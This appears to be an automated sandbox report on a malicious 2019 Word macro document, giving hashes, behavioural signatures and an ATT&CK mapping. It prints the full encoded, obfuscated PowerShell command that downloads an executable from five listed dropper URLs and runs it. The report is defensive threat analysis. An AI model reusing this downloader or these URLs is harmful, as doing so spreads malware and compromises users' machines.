ad915185215c5d1b173e085e56eb7d929f0979a4d1ea67aa8830ebdc1aca818c

General

Target

8361305558_Apr_30_2019.doc
Size

154KB
MD5

07908d15d9d9aedc11fb101decfe4ec5
SHA1

96337dd8dac44496321a9b7b1d919a3c0587ea63
SHA256

14bb13a0418e556082607e6372bff208155f5e9b44f8bb6f3f494b9e1ea5f663
SHA512

9625e8449ff544de2cce9cafa7c22715526cbd153d79b276d54229a45b2eb7759975964c1282f4e7bf2b22e4ce4e5ae7c00abef600ad35a8f3d04f6e2a320866
SSDEEP

3072:cUTTYBPAUvvxk/1Zlsc8dN+L9AiOChZzcYk:cUXYB3vvxk9rsDdAGiOChZzTk

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://beysel.com/XaaK-IZWqrsbyAmxS9X_yHrjsjhEj-a3/tQsCK/

exe.dropper

http://labersa.com/hotel/9JDk2/

exe.dropper

http://phikunprogramming.com/bs/page/css/LoKS/

exe.dropper

http://brikee.com/contact/SGe/

exe.dropper

http://terebi.com/best/i404/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4712	2264	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

67 4712 powershell.exe
84 4712 powershell.exe
89 4712 powershell.exe
91 4712 powershell.exe

flow	pid	process
67	4712	powershell.exe
84	4712	powershell.exe
89	4712	powershell.exe
91	4712	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3296 WINWORD.EXE
3296 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4712 powershell.exe
4712 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4712 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

3296 WINWORD.EXE
3296 WINWORD.EXE
3296 WINWORD.EXE
3296 WINWORD.EXE
3296 WINWORD.EXE
3296 WINWORD.EXE
3296 WINWORD.EXE

pid	process
3296	WINWORD.EXE
3296	WINWORD.EXE

pid	process
4712	powershell.exe
4712	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4712	powershell.exe

pid	process
3296	WINWORD.EXE
3296	WINWORD.EXE
3296	WINWORD.EXE
3296	WINWORD.EXE
3296	WINWORD.EXE
3296	WINWORD.EXE
3296	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\8361305558_Apr_30_2019.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3296

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABRAEEAQQBBAFUAVQBDAD0AKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACAAJwBHAEcAJwAsACcAQQBDACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBBAEMAJwAsACcAawBaACcAKQApADsAJAByAEcAQQBYAEEAQQBBAG8AIAA9ACAAJwA2ADAANAAnADsAJABDAEIAVQB3AHgANABBAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAWABBACcALAAnAEcAQgAnACkALAAnAFEAJwApACwAJwBvACcALAAnAHgAYwAnACkAOwAkAHYAVQBfAG8AYwAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAByAEcAQQBYAEEAQQBBAG8AKwAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAGUAeABlACcALAAnAC4AJwApADsAJABuAEMAMQBCAEMAMQA9ACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiAC0AZgAgACcAQgAnACwAJwBXAEEAJwAsACcAWABEAHgAJwApADsAJAB6AEEAQQBrAEIAQgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgBgAFcAZQBCAGAAQwBsAEkAYABlAG4AdAA7ACQAUwBBAGsAXwBBAEIAQQA9ACgAIgB7ADEANQB9AHsAMwA5AH0AewAyADEAfQB7ADEAMQB9AHsANAA0AH0AewA0ADMAfQB7ADIANwB9AHsAMQA4AH0AewAyADQAfQB7ADQANQB9AHsAMwAxAH0AewA0ADYAfQB7ADMAOAB9AHsAMQAyAH0AewAzADUAfQB7ADIANQB9AHsAMgAzAH0AewAxADkAfQB7ADQAfQB7ADQAMAB9AHsANAA5AH0AewA0ADcAfQB7ADEAfQB7ADQAOAB9AHsANwB9AHsAOAB9AHsAMQA3AH0AewAxADMAfQB7ADMANgB9AHsAMwA3AH0AewA1AH0AewAzADMAfQB7ADMAfQB7ADQAMQB9AHsANgB9AHsAMgB9AHsAMAB9AHsAOQB9AHsAMgA5AH0AewAxADYAfQB7ADMAMgB9AHsAMgAwAH0AewAyADIAfQB7ADQAMgB9AHsAMQAwAH0AewAyADgAfQB7ADMAMAB9AHsAMgA2AH0AewAxADQAfQB7ADMANAB9ACIAIAAtAGYAIAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAHMAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAC8ATABvACcALAAnAEsAUwAnACkAKQAsACcAawAyAC8AJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiAC0AZgAgACcAcAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGEAJwAsACcAZwBlAC8AYwBzACcAKQAsACcALwAnACkALAAnAC4AJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBlAHIAJwAsACcAcwBhACcAKQAsACcALgAnACkALAAnAG0AbQAnACwAJwBiAHMAJwAsACcAOgAnACwAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnAEAAaAB0ACcALAAnAC8AJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwByAGUAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAGUAJwAsACcALwAvAHQAJwApACkALAAnAC0ASQBaACcALAAnAHQAcAAnACwAJwBnACcALAAnADAANAAnACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBwACcALAAnAGgAdAB0ACcAKQAsACcALwBiACcALAAnADoALwAnACkALAAnAGEAYwAnACwAKAAiAHsAMwB9AHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBwAGgAaQAnACwAJwBrAHUAbgBwACcAKQAsACcAbwAnACwAJwByACcALAAnAC8AJwApACwAJwBTADkAWAAnACwAJwBiACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC8AUwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQAvAEAAJwAsACcARwAnACkAKQAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAgACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBtAC8AJwAsACcAWABhACcALAAnAGMAbwAnACkALAAnAEsAJwAsACcAYQAnACkALAAnAGgAJwAsACcAYQAnACwAJwBfAHkASAAnACwAJwAvAC8AbAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGIAJwAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAC8AaQAnACwAJwBlAHMAdAAnACwAJwA0ACcAKQApACwAJwB4ACcALAAnAGIAaQAuACcALAAoACIAewA0AH0AewAwAH0AewAxAH0AewAzAH0AewAyAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBrAGUAZQAnACwAJwBiAHIAaQAnACkALAAnAC4AYwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0ACcALAAnAC8AYwBvAG4AJwApACwAJwBvAG0AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHQAcAA6AC8AJwAsACcALwAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBvAG0AJwAsACcALwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAGoALQBhACcALAAnADMAJwApACwAJwB0ACcALAAnAGkAbgBnACcALAAnAC8AJwAsACcAOgAnACwAJwByACcALAAnAGEAJwAsACgAIgB7ADIAfQB7ADEAfQB7ADAAfQAiAC0AZgAnAEAAaAB0ACcALAAnAC8AJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAUQAnACwAJwBzAEMASwAnACkAKQAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAcwAnACwAJwBlAHkAJwAsACcAZQBsAC4AJwApACwAJwBjAG8AbQAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwAvACcALAAnAGMAbwBtACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAHAAOgAnACwAJwB0AHQAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAJwByACcALAAnAEEAbQAnACwAJwBzAGIAeQAnACkALAAnAFcAcQAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAcgBqAHMAJwAsACcAagAnACkALAAnAGgARQAnACkALAAnAC8AdAAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAvADkASgAnACwAJwBEACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAQAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAB0AHAAJwAsACcAaAAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAZQAnACwAJwAvAGgAbwAnACkALAAnAGwAJwApACkALgAiAHMAYABwAGwAaQB0ACIAKAAnAEAAJwApADsAJABZAEEAQwBBAEEAMQBHAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAWgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBBAEQAQQAnACwAJwBBACcAKQAsACcAaQB4ADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABpAEEAQQBRAEIAQQBBACAAaQBuACAAJABTAEEAawBfAEEAQgBBACkAewB0AHIAeQB7ACQAegBBAEEAawBCAEIALgAiAGQAbwBgAFcATgBMAE8AQQBEAGAARgBgAEkATABlACIAKAAkAGkAQQBBAFEAQgBBAEEALAAgACQAdgBVAF8AbwBjADEAKQA7ACQAYgBBADEAXwBDAEEAPQAoACIAewAxAH0AewAwAH0AewAyAH0AIgAtAGYAJwBRAEcAJwAsACcAQgAnACwAJwBaAEEAMQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAdgBVAF8AbwBjADEAKQAuACIATABlAGAATgBnAFQASAAiACAALQBnAGUAIAAzADUANgAwADEAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQAdgBVAF8AbwBjADEAOwAkAEMAQQBRAF8AQQBCAD0AKAAiAHsAMAB9AHsAMQB9AHsAMgB9ACIAIAAtAGYAJwBPACcALAAnAEEAQgBEACcALAAnAEQAUQA0ACcAKQA7AGIAcgBlAGEAawA7ACQAegBHAFgAQQB4AGsARAA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAwAH0AewAxAH0AIgAtAGYAJwB3ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBBAEQAWABjACcALAAnAFEAJwApACkALAAnAEEAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAFEAQQAxAFgAQQBBAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAZgBBACcALAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAnAEEAMQAnACwAJwBHAHgAJwAsACcARABBACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4712

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3296-138-0x00007FFDD8040000-0x00007FFDD8050000-memory.dmp

Filesize
64KB

Download
memory/3296-145-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-134-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-135-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-136-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-137-0x00007FFDD8040000-0x00007FFDD8050000-memory.dmp

Filesize
64KB

Download
memory/3296-133-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-139-0x0000016BC1C30000-0x0000016BC1C34000-memory.dmp

Filesize
16KB

Download
memory/3296-132-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-147-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-146-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/3296-144-0x00007FFDDA550000-0x00007FFDDA560000-memory.dmp

Filesize
64KB

Download
memory/4712-140-0x0000022DCCB50000-0x0000022DCCB72000-memory.dmp

Filesize
136KB

Download
memory/4712-142-0x00007FFDEE2F0000-0x00007FFDEEDB1000-memory.dmp

Filesize
10.8MB

Download
memory/4712-141-0x00007FFDEE2F0000-0x00007FFDEEDB1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads